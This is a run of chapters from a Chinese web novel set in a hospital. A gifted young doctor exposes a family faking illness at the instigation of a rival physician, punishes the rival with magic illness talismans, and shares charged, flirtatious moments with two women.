张珈榕的背脊猛地抵上冰凉的手术台边缘，金属的寒意透过单薄的手术服刺入肌肤。 方晓的手臂从她身侧穿过，修长的手指探入她胸前口袋时，指节若有似无地擦过某处温暖。 他取笔的动作很慢，原子笔的塑料外壳与布料摩擦发出令人牙酸的细响。 "借用。"他的吐息裹着昨夜值班室咖啡的苦涩，烫在她骤然绷紧的颈动脉上。 那支笔在他指间转了个危险的弧度，笔帽顶端轻轻挑起她滑落的一缕鬓发，慢镜头般替她别回耳后。 张珈榕发现自己的呼吸频率已经完全失控。 方晓的白大褂下摆不知何时卡进了她双膝之间，随着他书写的动作微妙地晃动。笔尖划过纸面的沙沙声里，她突然看清方晓写的是疾病的诊断以及自己要跟患者家属沟通的内容。 "出血点分布..."方晓突然用笔尾戳了戳她锁骨下方两寸处，"就像..."笔帽顺着她手术服v领边缘下滑， "这里。"最后两个字化作气音，消失在器械车推门的响动中。 他从容退开时，笔已经插回她口袋，笔夹上多了一枚小小的齿痕——和她今晨在公寓玄关发现的苹果咬痕如出一辙。 张珈榕微微失神，一个巨大的麻烦被方晓解决掉，可真的解决掉了么？ 她感觉自己心里有了别样的麻烦。 虽然这件事的起因是自己被电话从家叫来，把起床气都撒在方晓的身上。 但刚刚…… 张珈榕微微恍惚。 “张科长，方医生真厉害啊。”内镜室的医生赞道。 “啊？啊！”张珈榕恍惚应道。 “我还以为是开玩笑呢，患者的病历里写的内容跟出血性肠炎没有一毛钱关系。”内镜室医生感慨道。 “方医生，你是怎么诊断的？”张珈榕问道。 "抗生素相关性出血性肠炎是一种较少见的疾病，我也是看见一些文献才知道的。" “国外文献早在20世纪70-80年代就有报道，但国内鲜见报道。” 方晓侃侃而谈。 张珈榕和内镜室的医生都听傻了眼。 "抗生素相关出血性肠炎主要由口服羟氨苄青霉素及青霉素衍生物所致，可能是青霉素组成成分所致的特异性毒性反应，也可能与肠黏膜对药物的高度吸收有关。" "阿莫西林致出血性结肠炎是阿莫西林的少见并发……” 张珈榕已经听不下去了，她要知道的不是这个病怎么来的，而是确定没事就行。 方晓的言语在无形中给了张珈榕无穷无尽的信心。 张珈榕的呼吸突然被方晓身上的消毒水味填满。 方晓手术服的袖口若有似无地擦过她露在外面的小臂。金属原子笔在他指间转了个漂亮的弧，笔帽轻轻点在她手中的病历本上："重点在这里。" 他的食指划过某行数据，指甲边缘擦过她按着纸页的拇指。张珈榕的脉搏骤然加快——那截指尖的温度比常人更烫，像是藏着团暗火。 "黏膜修复速度..."方晓的声线突然低下去，尾音融进器械运转的嗡鸣里。 他的膝盖不知何时抵住了她的白大褂下摆，布料摩挲间带起细微静电，激得她小腿皮肤泛起细小的涟漪。 张珈榕觉得心跳有点快，身体向前，没想到撞在手术台上，身子栽晃了一下。方晓的手虚扶在她腰后，掌心离她的肌肤仅隔一层棉质手术服："别动。"他的呼吸拂过她耳垂，"患者还没下台呢。" 内镜屏幕的冷光映在方晓侧脸上，将他的瞳孔染成深海般的墨色。张珈榕突然注意到他领口松了有些松散，锁骨凹陷处凝着一滴汗珠，正随着呼吸缓缓下滑。 "所以..."方晓突然用原子笔的尾端挑起她一缕散落的发丝，慢条斯理地别回她耳后，"现在能放心了？" 他的指甲若有似无地刮过她耳廓，留下道转瞬即逝的灼痕。 不远处心电监护仪的嘀嗒声突然变得震耳欲聋。 张珈榕仓促点头，却在转身时撞翻了一盒棉签。 方晓俯身去捡，后颈处露出的皮肤上，赫然印着道淡红色的抓痕——之前还没有，估计是自己离开后张珈榕的闺蜜高露抓的。 张科长还真是有意思啊，方晓心里想到。 张珈榕仿佛觉察到方晓看见了什么，马上掩饰自己身后的抓痕。 “那就这样，张科长？需要我么还？”方晓问道。 “不用了，我去和患者家属聊，3天么。” 张珈榕看了一眼患者，患者因为杜冷丁的药效，又或者是如方晓所说，已经没那么疼了。 一切都很突兀，就像是外面的雨。 第115章 煽风点火 第一百一十五章 煽风点火 “张科长。”医务科的科员见张珈榕处理完毕，心中有疑虑。 “怎么。”张珈榕又恢复了冰山美女的样子。 “不太靠谱吧。”科员小声说道，“患者疼的那么厉害，3天就好？” 张珈榕冷冷的瞥了她一眼，不置可否。 换其他人，张珈榕肯定不会相信什么3天就能好之类的话，这一点都不科学。 但这是方晓说的。 “张科长……” “你去把资料准备齐。”张珈榕道。 小科员一脸为难。 她不知道为什么张科长这么相信那个小方医生。 但张珈榕已经这么说了，她只能先去。 张珈榕看着把患者送去住院，又处理了一些事情，用肠镜的结果压住患者家属，甚至面对暴怒的患者家属的时候，张珈榕还很肯定的说了3天。 …… “老王大哥。”一个山羊胡子的中年男人站在王成发面前，有些恭敬，有些畏惧。 “怎么了。”王成发一横四白眼。 "老王大哥，您给评评理。"山羊胡子搓着手，眼睛滴溜溜地转，"屯子里老李家的小二疼得死去活来，医务科那个姓张的女主任非说三天能好。这都第二天了，人还疼得直撞墙呢！" 王成发慢条斯理地端起茶杯，四白眼在镜片后闪着冷光。他早就等着这一天了——自从张珈榕力排众议让方晓接手这个病例，他就知道迟早会出事。 "三天？"王成发嗤笑一声，茶杯重重磕在桌上， "我王成发行医三十年，就没见过哪个顽固性疼痛三天能好的。除非……" "除非什么？"山羊胡子急忙凑近。 王成发压低声音："除非用的不是正经法子。"他意有所指地瞟了眼窗外，方晓正好穿过庭院，白大褂下摆随风飘动，像只不祥的白鸦。 山羊胡子脸色变了："您是说……那医生有问题？" "我可什么都没说。"王成发往后一靠，手指敲着桌面，"不过嘛，要是我家人在医院受这个罪..." 他故意拖长声调，"医院最怕什么？医闹啊。一闹，领导就重视了，该赔钱赔钱，该换医生换医生。" 山羊胡子眼睛一亮，随即又犹豫起来："可那个张主任看着挺厉害的……还有那个姓方的医生，一口咬定三天就能好。" "她？"王成发冷笑，"一个靠关系上位的黄毛丫头。你尽管闹，出了事有我担着。"他从抽屉里摸出一张名片推过去，"这是我律师朋友的电话，真闹大了，让他帮你索赔。" 山羊胡子千恩万谢地走了。 王成发走到窗前，看着那人匆匆离去的背影，嘴角勾起一抹阴笑。他掏出手机，拨通了一个号码。 "喂，老李？对，是我。那个特殊病例要出事了...对，就是方晓接手的那个。这次非得给这两个不知天高地厚的年轻人点颜色看看。" 挂断电话，王成发嘴角上扬，四白眼里闪烁着凄厉的目光。 如果说眼神能杀人的话，方晓和张珈榕现在已经被王成发杀了不知道多少次。 自从早交班的时候拉了一地，王成发就很少见人。 他一直有个猜想，这事儿肯定和方晓有关系，要不然自己为什么好端端的就在早交班的时候拉肚子呢。 但王成发没有确凿的证据。 然而有没有证据并不影响王成发要给方晓一点颜色看看的想法。 只是这次，王成发不准备路面，只在背后当个狗头军师就行。 与此同时，住院部三楼突然传来一阵骚动。 王成发循声望去，只见山羊胡子带着七八个壮汉冲进了走廊，手里高举着"庸医害人"的横幅。 "来了。"王成发整了整白大褂，快步向混乱的中心走去。这场好戏，他可不能错过。 走廊上已经乱成一团。山羊胡子扯着嗓子喊："黑心医院害人不浅！李家小二要是有个三长两短，我跟你们没完！" 张珈榕正从病房出来，见状立刻挡在人群前："这位家属，请您冷静。治疗需要时间——" "时间？"山羊胡子一把揪住张珈榕的衣领，"老李家的二小子都快疼死了！你们那个狗屁专家呢？叫他出来！" 保安冲上来拉架，场面更加混乱。 王成发躲在人群后面，冷眼旁观。 "松手！"张珈榕声音陡然拔高，右手精准扣住山羊胡子手腕的尺神经沟，拇指用力一压。这是她在医学院学的防身技巧，专门对付情绪失控的家属。 山羊胡子吃痛松手，但眼中的怒火更甚："你们这些穿白大褂的，就知道糊弄人！"他转身对走廊大喊，"大家都来看看！这什么破医院！治不好病还不让说了！" 几个举着手机的家属已经围了过来，镜头对准了张珈榕微微发红的脖颈。 护士长赶紧递来冰袋，被她摆手拒绝。现在示弱只会让事态更糟。 "李先生。"张珈榕整了整被扯皱的白大褂，声音恢复了平日的冷静，"患者的疼痛确实比较特殊，肠镜已经确定是出血性肠炎，我们也采用了相应的对症治疗。" "放屁！"山羊胡子一脚踹翻旁边的处置车，纱布和碘伏瓶哗啦洒了一地，"老李家二小子现在疼得用头撞墙！你们管这叫治疗有效？" 保安队长带着三个人高马大的保安进人群，却被张珈榕用眼神制止。 她太清楚了，这个时候强行清场只会激化矛盾，视频传到网上更说不清。 王成发在人群眯着眼睛看戏。 他注意到张珈榕白大褂口袋里露出的手机——录像指示灯亮着。聪明的女人，知道留证据。 "我要看监控！"山羊胡子突然转向护士站，"谁知道你们是不是在病房里虐待病人！" 这也太不讲理了吧。 "可以。"她突然提高音量，盖过嘈杂声，"医务科现在就去调监控。但在那之前..." 她从平板调出一份文件，"今早的疼痛评估量表，患者自述疼痛从8分降到4分，这是他本人签的字。" 山羊胡子一愣，显然没想到有这手。围观人群里传来窃窃私语，几个镜头转向了那份电子病历。 王成发的四白眼凶光毕露，脸色阴沉下来。 他没想到张珈榕准备这么充分。 第116章 装病 第一百一十六章 装病 不过王成发没说话，他不想暴露自己。 这次王成发准备在背后兴风作浪。 见张珈榕有条不紊的把山羊胡子给压下去，王成发脸上露出一丝鄙夷的微笑。 压下去有什么用。 这只是暂时的，要是明天患者还是疼，后天依旧疼，到时候要看看张珈榕拿什么出来解释。 王成发私下里和山羊胡子说了很多，他甚至没有自负到认为患者肯定不会好，做好了患者的腹部疼痛已经好了却也要闹的准备。 两天后，王成发“碰巧”出现在走廊里，因为今天是方晓说患者“痊愈”的时候。 走廊里满满的都是人，走廊上的空气仿佛凝固了。 王成发靠在护士站旁，白大褂口袋里揣着开了录音功能的手机。 他特意提前半小时来"查房"，就为占个好位置。 人群中央，山羊胡子叉着腰，嗓门比前天还大："今天可是第三天了！姓张的那个女娃呢？躲起来了？" 张珈榕站在病房门口，白大褂熨得一丝不苟。 她看了眼手表，有些焦躁。目光扫过人群，在几个生面孔上停留了片刻——有人拿着小型摄像机，镜头盖都没摘。 患者的情况不是很乐观。 方晓说患者肯定好，说的特别有信心，但患者今天一早还在疼。 张珈榕也是老临床了，她处理过的医疗纠纷极多，能看出来患者是不是真疼。 患者是装的！ 这是农夫与蛇的故事的翻版。 人家摆明了就要闹事，讹钱！张珈榕也有些束手无策。 方晓说的没错，患者今天应该能出院了，可是！他就是一直在哼唧，说自己肚子疼。 张珈榕也没办法，她看着那几个长枪短炮准备随时上阵的人。 王成发顺着她的视线看去，嘴角微微上扬。他昨晚特意给《都市健康报》的记者打了电话，暗示这里有"过度治疗导致医疗事故"的大新闻。 "先看看患者情况吧。"张珈榕推开病房门，病床上，患者脸色红润得不像话，但就是抱着肚子哼唧着。 他的疼和从前不一样！ 三天前，患者疼的汗流浃背。 而现在摆明了是在装。 张珈榕的手指在病历夹上收紧，指节泛白。 病床上的患者看似痛苦地蜷缩着，可额头上连一滴汗都没有——与三天前那个疼到休克的病人判若两人。 "李先生，具体哪里疼？"她故意提高音量，让门口的记者们能听清。 "哎呦...就是肚子...整个都疼..."患者偷瞄了一眼门口，哼唧声更大了，手指却松松地搭在腹部，连按压的力度都不敢给。 方晓不知何时已经站到床尾，拿起床头的监护仪打印纸："心率68，血压120/80，血氧99%。"他转向山羊胡子，"患者疼成这样，生命体征倒是很平稳。" 山羊胡子脸色一变，突然扑到床边："二小子你说话啊！是不是他们威胁你了？" "没...就是疼..."老李家二小子眼神闪烁，突然抓住山羊胡子的手往自己肚子上按，"你摸摸，这里硬邦邦的..." 张珈榕无可奈何的看了一眼方晓。 病，有明确诊断。 但医生能治的是病，装病却绝对没办法治。 可是！ 方晓的嘴角却微微上扬，他竟然一点都不担心。 张珈榕一怔，凑到方晓身边。方晓身上的那种温暖的气息没来由的让张珈榕心中安静，仿佛有方晓在的话一切都不是问题。 这种感觉很怪，却又真实存在。 张珈榕无可奈何地看了一眼方晓，睫毛在苍白的阳光下投下细碎的阴影。 她指尖还残留着病历夹冰凉的触感，而眼前这个男人的从容却像暖流般侵蚀着她的焦虑。 "方......"她刚启唇，方晓突然转身。 他的白大褂带着消毒水与雪松混合的气息拂过她的鼻尖。 肘关节相触的瞬间，张珈榕感觉到他衬衫下坚实的小臂肌肉，隔着两层衣料传来惊人的热度。 方晓似乎也怔了一下，转身的动作凝固成半个拥抱的姿势。 走廊的嘈杂声突然变得很远。 张珈榕能看清他领口处微微滚动的喉结，能数清他垂落的眼睫在眼下投出的扇形阴影。方晓的呼吸扫过她耳廓，激起一片细小的涟漪。 "嘘。"方晓的声音压得极低，嘴唇几乎贴上她耳垂的绒毛，"看监护仪。" 张珈榕觉得自己耳垂上的绒毛都在飞舞，痒痒的，整个人都骚动起来。 方晓的指尖若有似无地擦过她手腕内侧的脉搏点，像医生检查生命体征，又像情人的试探。 张珈榕呼吸一滞，顺着他暗示的方向望去——患者虽然还在哼哼唧唧，但心电监护显示的心率曲线平稳得能当教学模板。 方晓趁机又靠近半步，白大褂的前襟贴上她的袖口。 他低头时，温热的吐息缠绕着她鬓角的碎发："疼痛刺激会使交感神经兴奋，心率至少100以上。" 修长的手指在病历背面画着圈，"他在装，但数字不会。" 张珈榕突然意识到自己正被他圈在病床与胸膛之间。 方晓身上那股混合着薄荷消毒凝胶的气息笼罩着她，让她想起医学院实验室里被阳光晒暖的显微镜金属臂。 安全，却带着危险的温度。 "所以？"她强迫自己集中注意力，却控制不住耳尖发烫。 方晓忽然抽走她手中的原子笔。 冰凉的塑料笔身顺着她虎口滑到指尖，又在即将坠落时被他温热掌心接住。 这个近乎有其他意味的动作被方晓做得行云流水，仿佛只是同事间传递工具。 "所以......"他忽然用原子笔轻挑起她胸前的工牌，吊绳在颈后绷紧的触感让张珈榕心跳失序，"麻烦张科长稍等一下。" 原子笔的尾端轻轻点在她锁骨下方，张珈榕一点都不明白方晓要做什么。 当方晓转身面对记者时，那支还带着她体温的原子笔已经稳稳别在他胸前口袋。 阳光穿过走廊窗户，在他轮廓镀上金边，也照亮了他白大褂后腰处——张珈榕方才无意识攥出的褶皱，像一朵绽放的昙花。 第117章 你这是作孽！！ 第一百一十七章 你这是作孽！！ 虽然面对蛮不讲理的患者与患者家属，可张珈榕的心稳了起来，方晓能解决一切！ 然而，方晓没说话，他回肘轻轻碰了一下张珈榕，身体向后退了半步，整个人挡在张珈榕面前，像山一般把张珈榕保护起来。 方晓的体温透过两层棉质白大褂渗过来，像隔着晨雾燃烧的野火。 他后撤那半步让张珈榕的鼻尖堪堪擦过他肩线，呼吸间全是手术消毒液也掩不住的冷冽气息——像雪原上折断的松枝，混着某种金属灼烧后的危险芬芳。 张珈榕觉得眼前的人太多，这么亲昵不好，刚要躲开，可下一秒方晓的腕骨突然压上她腰间皮带扣。 方晓突然向后靠来，肩胛骨精准压上张珈榕的胸牌。 金属棱角陷入温暖的触感让两人同时一颤，他却借着警戒的动作，将白大褂后摆彻底覆盖住她颤抖的膝盖。 记者们的镜头在五步外闪烁，没人发现这位年轻专家的后背正把她一寸寸碾进病房的角落里。 "别出声。"他后仰的脖颈擦过她唇峰，喉结滚动时刮蹭到珍珠耳钉。 消毒水味突然浓得呛人，因为方晓正用身体遮挡着，右手向后探入她白大褂口袋——原子笔帽弹开的脆响淹没在快门声里，冰凉的硬塑笔身却顺着她白服外侧缓缓上爬。 张珈榕的唇瓣被自己咬得发烫，舌尖尝到一丝甜腥，像手术刀划开表皮时渗出的血珠。 方晓后背肌群随着呼吸起伏，像浪潮把她拍在墙上。 满屋子的人逼得他再退半步，皮带扣直接卡进她脐下三寸，两人交叠的阴影里，原子笔笔正在白服褶皱间刻下深痕。 他的尾指勾着她口袋里的听诊器胶管，每一次扯动都让藏在衣摆下的金属听头碾过更危险的区域。 张珈榕突然绷直的脚背在高跟鞋里发出咯吱响动，被某个记者当成抗议的佐证："医生！患者家属说你们在威胁病人！" 对于这种污蔑，张珈榕几乎绝望。 这属于百口莫辩的情况。 换谁来都不行。 只是，此时此刻张珈榕藏在方晓身后，她已经遏制不住想要抱住方晓，仿佛溺水的人抓住救命的稻草。 “怎么这么多人。”一个古怪的声音传来。 “咳~~呸~~”熟悉的咳痰声。 一口浓痰吐在山羊胡子的脸上。 老许头手里拿着烟袋锅子，佝偻着腰走进来。人群像是潮水一般分开，有几个中老年的农村人差点没跪下，他们脸上的表情从严厉到温和，只用了一瞬间。 “给你们治好病，就是为了让你们来讹人的？”老许头昏黄的眼睛瞥了一眼山羊胡子。 许玉跟在老许头身后，当她看见方晓护着张珈榕的画面，整个人都愣了一下。 许玉的指甲突然掐进掌心。 她看见方晓的白大褂后摆正缠在张珈榕的白服的腰带上，随着呼吸起伏，像手术室里纠缠的止血钳链。 方晓的左手还保持着护卫姿态，两人靠的很近，很亲昵。 老许头的烟袋锅子敲在床头的铁皮柜上，"铛"的一声。 张珈榕受惊般向前凑了一下，头撞进方晓肩窝。 他喉结滚动的声音近得让她耳膜发麻，白大褂领口露出的锁骨上还沾着她刚才蹭上的一点点 粉底。 许玉突然向前半步。 此时方晓高大的身影将张珈榕完全笼罩在墙角，白大褂的衣料擦过她的制服，发出细微的摩挲声。 他一手撑在墙上，指节因用力而微微发白，另一手自然地垂在身侧，却在不经意间触碰到张珈榕的手背，激起一阵电流般的涟漪。 方晓的胸膛几乎贴着她的鼻尖，呼吸间带着淡淡的消毒水味和若有似无的薄荷香气。张珈榕能清晰地感受到他胸腔的起伏，每一次呼吸都让两人之间的距离更加接近。 许玉站在不远处，指甲深深掐进掌心。 她死死盯着方晓后背绷紧的肌肉线条，看着他微微低头时，发梢扫过张珈榕泛红的耳尖。 方晓的喉结滚动了一下，在阳光下投下一小片阴影，正好落在张珈榕的锁骨上。 两人的工牌轻轻相碰，发出清脆的声响。 方晓的手指若有似无地划过张珈榕的手腕内侧，那里有她急促跳动的脉搏。 他的体温透过薄薄的衣料传来，让墙角这一方天地瞬间升温。 许玉的视线像刀子般刺向两人交叠的身影，却只能眼睁睁看着方晓的身体又向前倾了半分，将张珈榕彻底困在自己与墙壁之间。 像是一只小兽，许玉完全忘了自己跟老许头来是做什么的。 她的心里全都是醋意，径直走了过去。 许玉硬生生挤到那方寸之地，肩膀抵着方晓的手臂。 三人之间的距离骤然缩短，她身上淡淡的香水味强势地侵入两人之间，与消毒水的气息纠缠不清。 方晓的眉梢几不可察地挑了挑，撑在墙上的手臂肌肉绷紧，却纹丝不动。 他的指尖仍停留在张珈榕的腰际，指腹隔着衣料轻轻摩挲，在许玉灼热的注视下猛地停住。 张珈榕的后背紧贴着冰凉的墙面，身前是方晓滚烫的胸膛，侧面又挤到许玉带着香水味的身躯。 她攥着病历本的手指微微发白，呼吸间全是方晓身上清冽的雪松气息，混杂着许玉发丝间甜腻的柑橘香。 许玉突然伸手替方晓整理领口，指尖状似无意地擦过他的喉结。 方晓的呼吸一滞，却借着低头推眼镜的动作，鼻尖几乎蹭过张珈榕的额角。 三人的白大褂下摆与裙摆纠缠在一起，在风中轻轻摇曳。 周围的嘈杂声仿佛突然远去。 张珈榕能清晰听见方晓加速的心跳，感受到许玉带着怒意的吐息喷在自己颈侧。 方晓的镜片后，那双总是冷静自持的眼睛此刻暗潮汹涌，目光在张珈榕微张的唇瓣与许玉泛红的眼尾之间流连。他喉结又滚动了一下，在许玉指尖下轻轻震颤。 然而这种微妙的平衡瞬间被打破。 “老许……” “滚！”老许头骂道，“你知不知道这么做是作孽！” 第118章 报应 第一百一十八章 报应 老许头指着山羊胡子骂道，“半个月前，你还躺在炕上等死，要知道你这么能作，鬼才给你看病。” 山羊胡子被骂的低下头。 王成发站在外面微微一怔，他很清楚这些人的心有多黑，王成发做梦都没想过会有个人进来骂几句，山羊胡子眼看就要认怂。 “你，肚子还疼不疼。”老许头用烟袋锅子指着患者问道。 这回连记者们都傻了眼，怔怔的看着这一幕。 “我……” “想好了再说，实话实说，你可以骗医生护士，你敢骗我？试试！”老许头霸气侧漏。 “不疼了……”患者一脸为难，可他面对老许头的压力，只能选择说实话。 “是是是，昨天就不疼了。”山羊胡子弯着腰，头几乎要碰到病床，一脸卑微。 “你真行啊。”老许头鄙夷的抬脚，一脚踹在山羊胡子的腿上。 他没用力，山羊胡子打了个趔趄，他急中生智，眼角余光看见王成发，山羊胡子像是抓住了一根救命稻草，指着王成发吼道，“老神仙，是他！是王成发！！” 方晓凝眉，看着王成发。 果然是这样！ 类似的事情要不是有意愿的业内人士帮助，肯定不会这么坚决。 也就是说，王成发就是幕后黑手！ 方晓心中一动，复制了【出血性肠炎】、【急性胃肠炎】的符箓被强化，直接砸在王成发的身上，再加上霉运符等等。 没想到王成发竟然自己找上门来了。 做完这一切，方晓吁了口气，这时候他才发现古怪。 自己和张珈榕、许玉三人站在病房角落，形成一个微妙的三角。 方晓左手随意搭在许玉腰间后侧，除了他之外，别人根本看不见。 他的指尖若有似无地摩挲着她长裙的薄纱面料，透过布料能感受到少女腰肢的温暖。 许玉仰着脸，嘴唇微微张开，眼睛里盛着水光，裙摆随着不安分的动作轻轻晃动，时不时擦过方晓的裤管。 他的后背却紧贴着张珈榕。 白大褂下，方晓的脊背线条紧绷，能清晰感受到身后女人呼吸时胸口的起伏。 张珈榕的手指不知何时已经揪住了他的衣角，修剪整齐的指甲隔着衣料在他腰窝处轻轻刮蹭。 方晓喉结滚动，左手在许玉腰侧收紧，右手却向后探去，精准地扣住了张珈榕的手腕。 拇指在她跳动的脉搏上打着圈，力道恰到好处——就像上次为她按摩时，找到她最受不了的那个穴位一样。 许玉瞥见这一幕，她的呼吸急促起来，踮起脚又凑近了少许，她的嘴唇几乎碰到他的下巴。 而张珈榕借着人群的掩护，将身体更紧密地贴上来，胸前的工牌硌在方晓肩胛骨上，随着呼吸微微发烫。 三人的体温在拥挤的空间里交融，方晓能闻到许玉发间的水果甜香，混合着张珈榕身上淡淡的香水味。 他的手指在许玉腰际流连，指腹感受着少女肌肤的细腻；同时手背蹭着张珈榕的大腿，隔着制服裙的布料，温度灼人。 窗户照射进来的阳光在他们头顶投下暖昧的光晕，将三人的影子交叠在一起，在墙上勾勒出纠缠的轮廓。 与此同时，王成发忽然发出一声惨叫。 记者的长枪短炮以及周围人群的患者、患者家属的手机都对过去。 壮硕的王成发倒在地上，手捂着肚子在打滚。 这回不光有【急性胃肠炎】，还有【出血性肠炎】。而且复制符都被注灵强化过，王成发承受的痛苦要比患者当时还要高。 看着满地打滚的王成发，除了方晓以外的所有人都怔住。 这是怎么了？ 尤其是张珈榕，她踮起脚尖，下巴搭在方晓的肩膀上看过去。 只是方晓的手掌稳稳地压在张珈榕平坦的小腹上，隔着一层薄薄的医用白大褂，温热透过衣料渗入肌肤。 他的指尖微微收力，指节抵在她腰际弧线完美的凹陷处，随着呼吸的节奏轻轻摩挲。 张珈榕似乎没有觉察到，也没躲闪，而是又努力踮起脚尖，这时候她温暖的腹部已经完全贴在方晓的掌心中。 方晓的手纹丝不动，却在她重心不稳的瞬间不着痕迹地向上托了半分，拇指恰好卡在她肋骨下缘最温暖的位置。医用腰带的金属扣硌在他腕骨上，印出一道浅红的痕迹。 他的呼吸喷在她耳后，带着消毒水与淡淡咖啡的苦涩气息。张珈榕能感觉到他胸膛紧贴着自己的后背，心跳的震动透过两层白大褂传来，与自己的脉搏渐渐同步。 方晓的小指似有若无地勾着她腰带边缘，每一次呼吸都让那截指尖更深地陷入衣料褶皱。 窗户照射进来的阳光在方晓金丝眼镜上投下晃动的光斑，镜片后的目光却始终锁在她泛红的耳尖。 当张珈榕因踮脚太久而微微颤抖时，方晓的手突然施力，将她更紧地按向自己——这个动作看似在帮她保持平衡，实则让两人的身子严丝合缝地贴在一起。 白大褂下摆纠缠出异样的褶皱，他腕表的金属表带贴着她腻白的肌肤滑动，凉意与体温形成奇妙的对比。 方晓低头时，鼻尖擦过她盘起发髻散落的碎发，唇几乎贴上她跳动的颈动脉。 许玉狠狠地抓住方晓的胳膊，想要进去。 可就在这时候，忽然一声巨响。 声音很大，许玉怔了一下，不知道发生了什么。 下一秒，围在王成发身边的人都惊慌逃窜。 砰~砰砰~~ 放屁的声音不断，而且不是单纯的放屁，是剧烈的腹泻式放屁！ 很快，黄乎乎的液体从王成发的裤脚处流出来。 张珈榕和许玉看得目瞪口呆！ 非但如此，王成发似乎根本不顾忌自己的颜面，一边抱着肚子喊疼，一边拉肚子。 他的裤子已经湿漉漉的，满是恶臭。 这回不仅仅是自家的医生护士看见这一幕，而是在另外一个科室，甚至在报社的长枪短炮下拉了。 老许头佝偻着腰，手里拿着烟袋锅子敲了山羊胡子一下，“看见了吧，这就是报应。” 第119章 哥，你别走 第一百一十九章 哥，你别走 报应。 报应！ 这句话出现在医院里，有点荒谬。 可无论是报社的长枪短炮还是周围拿着手机录制视频的人们心里都并不觉得老许头说的是假的。 那个患者家属刚刚指了一下王成发，这位神穿白服、一脸威严的医生就躺在地上打滚，甚至屎尿齐流。 这也太可怕了！ 现场一点吵杂的声音都没有，安安静静的，只有王成发的哀嚎声以及噗嗤噗嗤的声音响起。 声音回荡，刚刚还一脸威严，山一样的王成发躺在地上不断打着滚。 张珈榕虽然不舍，但还是握了一下方晓的手，从方晓身后走了出去。 方晓想跟着，但他的白服后摆被许玉抓住。 病房和走廊里安静得可怕，只有王成发痛苦的叫喊声在回荡，像一首不和谐的背景乐。 张珈榕的指尖轻轻滑入方晓的掌心，那一瞬间的触碰比任何言语都更灼热。 她的手指微微收紧，指腹在他掌心的纹路上轻轻摩挲了一下，仿佛在无声地诉说着什么。 方晓能闻到她发丝间淡淡的洗发水香气，混合着医院消毒水的味道，却莫名地撩人心弦。 有那么一个瞬间，方晓恍惚想到在张珈榕家里的高露。 张珈榕从方晓身边擦过时，白大褂的衣角轻轻拂过他的腿侧，带起一阵微妙的电流。 "我去看一眼发生了什么。"她的声音很轻，却像羽毛般扫过他的耳膜。 方晓下意识地想要跟上，却感到白大褂的后摆被轻轻拽住。许玉的手指勾住了他的衣角，那力道不重，却足以让他停下脚步。 他能感觉到许玉的指尖隔着布料传来的温度，而张珈榕的背影已经走进人群。 空气中似乎还残留着她手腕上淡香水的余韵，与许玉身上年轻女孩特有的甜香交织在一起，形成一种令人心跳加速的特殊氛围。 方晓的喉结不自觉地滚动了一下，他能听到自己血液奔流的声音，比王成发的呼喊声更加清晰。 这一刻的静默中，两个女人的存在感被无限放大，一个正在离去却留下挥之不去的痕迹，一个就在身后，用最轻的触碰宣告着什么。 "别去……"许玉的声音像被揉碎的花瓣，颤抖着坠落在方晓耳畔。 可方晓的视线早已被那个身影牢牢攫住——张珈榕踩着锋利的高跟鞋，每一步都像踏在他的心跳节拍上。 白服下若隐若现的小腿在阳光下泛着珍珠般的光泽，跟腱处绷紧的线条随着步伐若隐若现，像是无声的邀请。 报社的记者哪里见过这种画面，一个女记者下意识的按下快门，咔嚓一声轻响。 闪光灯亮起，把王成发笼罩在内。 闪光灯骤亮的瞬间，时间仿佛凝固。 张珈榕蓦然回首，汗湿的碎发黏在修长的颈侧，随着她转头的动作轻轻摇曳。白大褂的领口微敞，露出一截锁骨的凹陷，阴影处凝着一滴将落未落的汗珠，在灯光下折射出晶莹的光。 她的目光如手术刀般精准地剖开嘈杂，直抵方晓眼底。 在四目相对的刹那，粉色娇嫩的舌尖轻轻扫过下唇，留下一道潮湿的痕迹。这个转瞬即逝的小动作，却让方晓的呼吸为之一滞。 王成发的惨叫撕破了空气，但在这片混乱中，张珈榕的嘴角却缓缓勾起一个只给方晓看的弧度。 纤长的手指抚上领口，纽扣松开的瞬间，衣领间泄出一线雪白的肌肤。她扇风的动作让衣料轻轻起伏，珍珠母贝的纽扣折射出的光斑，像一只无形的手，在方晓的喉结处流连徘徊。 许玉的指尖突然加重了力道，珍珠白的指甲陷入方晓的白大褂布料，在他腰际留下几道若隐若现的褶皱。 她方晓身边又靠了半步，温热的气息拂过方晓的后颈，带着少女特有的甜香。 "哥。"她声音压得极低，像羽毛轻扫过耳膜。 趁着人群注意力都被王成发吸引，她的拇指悄悄探入方晓白大褂下摆，在腰侧特殊的地方处画了个若有若无的圈。 方晓的肌肉瞬间绷紧，却没能挣脱。 许玉趁机将整个手掌贴上他的后背，隔着衬衫能感受到他绷紧的肩胛骨。她的指尖顺着脊柱缓缓下滑，在腰窝处停顿，指甲轻轻刮过布料。 “小玉，别闹。”方晓沉声说道。 "你在看什么呀？"她踮起脚尖，嘴唇几乎贴上他的耳垂。 长裙的V领不经意擦过方晓的手臂，露出锁骨处一小片细腻的肌肤，在阳光下泛着璀璨的光泽。 记者们的镜头还在闪烁，但许玉全然不顾。 她突然用膝盖轻轻顶了下方晓的腿弯，趁他重心不稳时将他往自己这边带。裙摆因为这个动作掀起一角，露出纤细的脚踝，上面系着一条细细的银链，随着动作发出几不可闻的清脆声响。 "我比张主任好看多了，不是吗？"她仰起脸，睫毛在眼下投出扇形的阴影。 许玉的指尖在方晓腰际的白大褂上轻轻摩挲，轻柔的扫过，若有似无。 可方晓的呼吸渐渐沉重。 她的指甲在布料上划出几道看不见的轨迹，指腹偶尔加重力道，在方晓将要转身时又迅速收回。 "哥……"许玉微微仰头，呼吸时带起的暖意恰好拂过方晓的喉结。 她的食指悄悄勾住方晓白大褂口袋边缘，借着整理的动作，小拇指似是无意地划过他大腿外侧。 当方晓再次望向张珈榕的方向时，许玉的拇指突然按在他手腕内侧的位置，力道轻得像是测量脉搏，却让方晓的呼吸微微一滞。 她的指尖顺着腕骨内侧缓缓游移，在袖口遮挡下画着无形的圈。 记者们的闪光灯再次亮起时，许玉借着光线变换的掩护，将一缕发丝别到耳后。 这个动作让她的香水味——清甜的柑橘调中藏着晚香玉的暖意突然浓郁了几分。 许玉的手"不小心"碰到方晓的手背，又迅速缩回，却在抽离时用指甲轻轻刮过他的指缝。 "你出汗了。"她低声说。 她的膝盖在裙摆遮掩下，轻轻抵住方晓的小腿，体温透过两层布料依然清晰可感。 第120章 都是王成发指使的 第一百二十章 都是王成发指使的 